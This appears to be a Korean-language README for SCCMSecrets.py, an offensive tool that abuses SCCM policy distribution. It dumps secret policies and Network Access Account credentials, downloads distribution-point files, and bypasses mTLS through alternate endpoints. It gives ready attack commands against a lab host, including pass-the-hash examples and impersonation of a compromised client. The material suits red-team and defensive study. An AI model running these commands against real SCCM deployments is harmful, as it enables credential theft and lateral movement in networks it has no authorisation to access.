
SCCMSecrets.py는 자격 증명 수집, 초기 액세스 및 측면 이동을 위해 SCCM 정책 배포를 악용하는 것을 목표로 합니다.
SCCMSecrets.py는 SCCM 정책을 악용하는 도구입니다. NAA(Network Access Account) 자격 증명 추출을 넘어, SCCM 정책 배포와 관련된 보안 오설정을 포괄적으로 찾아내는 것을 목표로 합니다. 이 도구는 다양한 권한 수준에서 실행할 수 있으며, 정책 배포와 관련된 잠재적 오설정을 찾으려 시도합니다. 도구 및 사용법에 대한 자세한 내용은 관련 문서를 참조하세요: https://www.synacktiv.com/publications/sccmsecretspy-exploiting-sccm-policies-distribution-for-credentials-harvesting-initial
policies와 files 두 개의 하위 명령이 제공됩니다.
이 하위 명령은 SCCM 관리 지점(Management Point) 과 통신하여 모든 비밀 정책(NAA 구성, 자격 증명이 포함된 작업 순서, 컬렉션 변수 포함)의 내용을 덤프합니다. 이를 위해서는 승인된 SCCM 디바이스가 필요하며, 세 가지 방법으로 얻을 수 있습니다.
--altauth 플래그를 제공하면 SCCMSecrets는 대체 인증 엔드포인트를 악용하여 mTLS 요구 사항을 우회하고, 자격 증명 없이 그리고 자동 디바이스 승인 오설정 없이도 승인된 디바이스를 얻을 수 있습니다 (자세한 정보). 이 방법은 MP가 HTTPS를 사용하도록 구성되어 있고, SCCM 사이트가 사이트 전체에서 HTTPS를 강제하도록 구성된 경우에만 작동합니다 (MP가 HTTPS를 사용하지만 사이트가 HTTP 또는 HTTPS를 모두 허용하는 경우 디바이스는 자동으로 승인되지 않습니다).--use-existing-device). 이 인자는 guid.txt 파일(디바이스 GUID)과 key.pem 파일(디바이스 개인 키)이 포함된 디렉터리를 기대합니다. 이전 SCCMSecrets 실행으로 생성된 디바이스이거나, 손상된 합법적인 SCCM 클라이언트에 해당하는 디바이스일 수 있습니다.SCCM 정책은 컬렉션과 연결되어 있습니다. 새 디바이스를 등록하면 이 디바이스는 기본 컬렉션에 배치되므로, 기본 컬렉션의 비밀 정책만 검색됩니다. 그래서 --use-existing-device로 손상된 합법적인 SCCM 클라이언트를 가장하는 것이 흥미로울 수 있습니다. 실제로 이 합법적인 클라이언트는 추가 비밀 정책과 연결된 사용자 지정 컬렉션의 일부일 수 있습니다.
출력은 loot 디렉터리의 하위 디렉터리에 저장됩니다 (형식: [timestamp]_policies).
$ python3 SCCMSecrets.py policies -h
Usage: SCCMSecrets.py policies [OPTIONS]
Dump secret policies from an SCCM Management Point
╭─ Options ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ * --management-point -mp TEXT The client's SCCM management point. Expects either a URL, or a hostname/IP (defaults to HTTP in the latter case) [required] │
│ * --client-name -cn TEXT [Optional] The name of the client that will be created in SCCM - or a random name if using an existing device [required] │
│ --machine-name -u TEXT [Optional] A machine account name. If not provided, SCCMSecrets will try to exploit automatic device approval │
│ --machine-pass -p TEXT [Optional] The password for the machine account │
│ --machine-hash -H TEXT [Optional] The NT hash for the machine account │
│ --registration-sleep -rs INTEGER [Optional] The amount of time, in seconds, that should be waited after registrating a new device. A few minutes is recommended so that the new device can be added to │
│ device collections (3 minutes by default, may need to be increased) │
│ [default: 180] │
│ --use-existing-device -d TEXT [Optional] This option can be used to re-run SCCMSecrets.py using a previously registered device ; or to impersonate a legitimate SCCM client. In both cases, it │
│ expects the path of a folder containing a guid.txt file (the SCCM device GUID) and the key.pem file (the client's private key). Note that a client-name value must also │
│ be provided to SCCMSecrets (but does not have to match the one of the existing device) │
│ --pki-cert -c TEXT [Optional] The path to a valid domain PKI certificate in PEM format. Required when the Management Point enforces HTTPS and thus client certificate authentication │
│ --pki-key -k TEXT [Optional] The path to the private key of the certificate in PEM format │
│ --altauth -a [Optional] Use the MP's alternate authentication endpoint. This endpoint bypasses mutual TLS requirements, and automatically approves devices registered through it. It │
│ only works when the MP uses HTTPS AND HTTPS is enforced site-wide │
│ --verbose -v [Optional] Enable verbose output │
│ --help -h Show this message and exit. │
╰─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
이 하위 명령은 배포 지점(Distribution Point) 에 저장된 파일을 인덱싱하고 흥미로운 파일을 다운로드합니다. SCCMSecrets는 먼저 익명 액세스가 활성화되어 있는지(기본이 아닌 구성) 확인하려 시도합니다. 활성화된 경우 인증 없이 파일을 인덱싱하고 다운로드할 수 있습니다. 그렇지 않으면 도메인 자격 증명이 필요합니다.
확장자별로 파일을 다운로드할 수 있습니다. SCCMSecrets는 배포 지점에 호스팅된 모든 패키지의 파일을 인덱싱하고(Unix tree 형식의 index.txt 파일 생성), 지정된 확장자를 가진 파일을 다운로드합니다. 빈 확장자 목록을 제공하면 파일 인덱싱만 수행됩니다.
두 경우 모두, 생성된 인덱스 파일에서 --urls 플래그를 사용하여 (재인덱싱 없이) 특정 관심 파일을 다운로드할 수 있습니다.
mTLS 요구 사항이 구현된 경우 --nocert 플래그를 제공하여 우회할 수 있습니다.
출력은 loot 디렉터리의 하위 디렉터리에 저장됩니다 (형식: [timestamp]_files).
$ python3 SCCMSecrets.py files --help
Usage: SCCMSecrets.py files [OPTIONS]
Dump interesting files from an SCCM Distribution Point
╭─ Options ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ * --distribution-point -dp TEXT An SCCM distribution point. Expects either a URL, or a hostname/IP (defaults to HTTP in the latter case) [required] │
│ --username -u TEXT [Optional] A username for a domain account. If no account is provided, SCCMSecrets will try to exploit anonymous DP access │
│ --password -p TEXT [Optional] The password for the domain account │
│ --hash -H TEXT [Optional] The NT hash for the domain account (e.g. A4F49C406510BDCAB6824EE7C30FD852) │
│ --extensions -e TEXT [Optional] Comma-separated list of extension that will determine which files will be downloaded when retrieving packages scripts. Provide an empty string to not │
│ download anything, and only index files │
│ [default: .ps1, .bat, .xml, .txt, .pfx] │
│ --urls -f TEXT [Optional] A file containing a list of URLs (one per line) that should be downloaded from the Distribution Point. This is useful if you already indexed files and do not │
│ want to download by extension, but rather specific known files │
│ --max-recursion -r INTEGER [Optional] The maximum recursion depth when indexing files from the Distribution Point [default: 10] │
│ --pki-cert -c TEXT [Optional] The path to a valid domain PKI certificate in PEM format. Required when the Distribution Point enforces HTTPS and thus client certificate authentication │
│ --pki-key -k TEXT [Optional] The path to the private key of the certificate in PEM format │
│ --nocert -n [Optional] Use the DP's nocert endpoint. This endpoint bypasses mutual TLS requirements │
│ --verbose -v [Optional] Enable verbose output │
│ --help -h Show this message and exit. │
╰─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
기본적으로 클라이언트는 일반 HTTP를 사용하여 관리 지점 또는 배포 지점과 통신할 수 있습니다. 그러나 SCCM 설치는 HTTPS 사용을 강제하여 더 안전하게 구성될 수 있습니다. 이 경우(관리 지점, 배포 지점 또는 둘 다에 대해) SCCM은 "클라이언트 인증" 용도의 내부 PKI 인증서를 사용한 클라이언트 인증서 인증을 요구합니다.
위에서 제시한 공격을 수행하는 것은 여전히 가능합니다. 단, --pki-cert 및 --pki-key 플래그(PEM 형식)를 통해 유효한 PKI 인증서를 제공해야 합니다. 관리 지점/배포 지점 URL에도 https:// 접두사를 붙여야 합니다.
--altauth(정책) 및 --nocert(파일) 플래그는 mTLS 인증을 우회하는 방법을 제공합니다 (자세한 정보).
저장소를 클론하고 의존성을 설치하여 SCCMSecrets.py를 설치할 수 있습니다.
$ git clone https://github.com/synacktiv/SCCMSecrets
$ cd SCCMSecrets
$ python3 -m venv .venv && source .venv/bin/activate
$ python3 -m pip install -r requirements.txt
아래는 몇 가지 예시 명령입니다.
머신 계정을 제공하지 않고 비밀 정책을 검색합니다. 자동 디바이스 승인 오설정(기본이 아닌 구성)을 악용하려 시도합니다.
$ python3 SCCMSecrets.py policies -mp http://mecm.sccm.lab -cn 'test'
머신 계정을 제공하여 비밀 정책을 검색합니다. 기본 SCCM 구성에서 작동합니다.
$ python3 SCCMSecrets.py policies -mp http://mecm.sccm.lab -u 'azule$' -p 'Password123!' -cn 'test'
이미 존재하는 디바이스의 비밀 정책을 검색합니다. compromised_device 폴더에는 guid.txt 및 key.pem 파일이 포함되어 있습니다.
$ python3 SCCMSecrets.py policies -mp http://mecm.sccm.lab --use-existing-device compromised_device/
관리 지점이 HTTPS를 강제할 때 비밀 정책을 검색합니다.
$ python3 SCCMSecrets.py policies -mp https://mecm.sccm.lab -u 'azule$' -H '2B576ACBE6BCFDA7294D6BD18041B8FE' -cn 'test' --pki-cert ./cert.pem --pki-key ./key.pem
대체 인증 엔드포인트를 사용하여 비밀 정책을 검색합니다. mTLS 인증을 우회하고 자격 증명 없이 승인된 디바이스를 얻을 수 있습니다 (자세한 정보). MP가 HTTPS를 사용하고 사이트 전체에서 HTTPS를 강제하는 경우에만 작동합니다.
$ python3 SCCMSecrets.py policies -mp https://mecm.sccm.lab -cn 'test' --altauth
자격 증명을 제공하지 않고 배포 지점 파일을 검색합니다. 익명 DP 액세스(기본이 아닌 구성)를 악용하려 시도합니다.
$ python3 SCCMSecrets files -dp http://mecm.sccm.lab
자격 증명으로 배포 지점 파일을 검색합니다. 기본 SCCM 구성에서 작동합니다.
$ python3 SCCMSecrets.py files -dp http://mecm.sccm.lab -u 'dave' -p 'dragon'
특정 확장자 목록으로 파일을 검색합니다. 머신 계정의 해시로 인증합니다.
$ python3 SCCMSecrets.py files -dp http://mecm.sccm.lab -u 'dave' -H 'F7EB9C06FAFAA23C4BCF22BA6781C1E2' --extensions '.txt,.xml,.ps1,.pfx,.ini,.conf'
URL 목록(줄당 1개)을 제공하여 배포 지점에서 특정 파일을 검색합니다.
$ python3 SCCMSecrets.py files -dp http://mecm.sccm.lab -u 'dave' -p 'dragon' --urls to_download.lst
배포 지점이 HTTPS를 강제할 때 DP 파일을 검색합니다.
$ python3 SCCMSecrets.py files -dp https://mecm.sccm.lab -u 'dave' -p 'dragon' --pki-cert ./cert.pem --pki-key ./key.pem
배포 지점이 HTTPS를 강제할 때 mTLS 인증을 우회합니다.
$ python3 SCCMSecrets.py files -dp https://mecm.sccm.lab -u 'dave' -p 'dragon' --nocert